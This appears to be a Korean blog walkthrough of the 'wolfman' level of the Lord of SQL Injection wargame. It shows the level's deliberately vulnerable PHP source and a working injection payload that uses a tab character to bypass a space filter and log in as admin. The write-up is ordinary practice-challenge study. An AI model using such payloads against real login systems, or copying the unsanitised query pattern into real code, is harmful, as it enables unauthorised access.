본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] wolfman 풀이

by yenua 2022. 6. 11.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

늑대인간은 신화 또는 민속에서 늑대와 반인반수 또는, 동시에 늑대와 같이 혼혈종이 되는 인간을 의미한다. - 위키백과

 

los의 늑대인간을 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

이번 문제는 고블린 때와 비슷하게 id는 guest로 고정되어 있는데 조회된 id 값이 admin이 되어야 한다.

preg_match로 스페이스가 필터링 되어 있는데, 스페이스 말고 다른 공백 문자를 쓰면된다. 이번 문제에는 탭을 써서 해결했다.

참고로, 화이트 스페이스(공백)에는 스페이스 말고도 탭 등 총 6가지의 종류가 있다.

https://thewiki.kr/w/화이트스페이스#toc

 

아래의 방법으로 해결할 수 있었다.

pw: 'or id='admin

url: ?pw=%27or%09id=%27admin

query : select id from prob_wolfman where id='guest' and pw=''or id='admin'

 

고블린 문제랑 유사하게 guest부분을 거짓으로 만들어 우회가 가능하고, 스페이스 필터링은 탭으로 대체할 수 있었다.

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] orge 풀이  (0) 2022.06.12
[Los] darkelf 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10
[Los] goblin 풀이  (1) 2022.06.09
[Los] cobolt 풀이  (0) 2022.06.08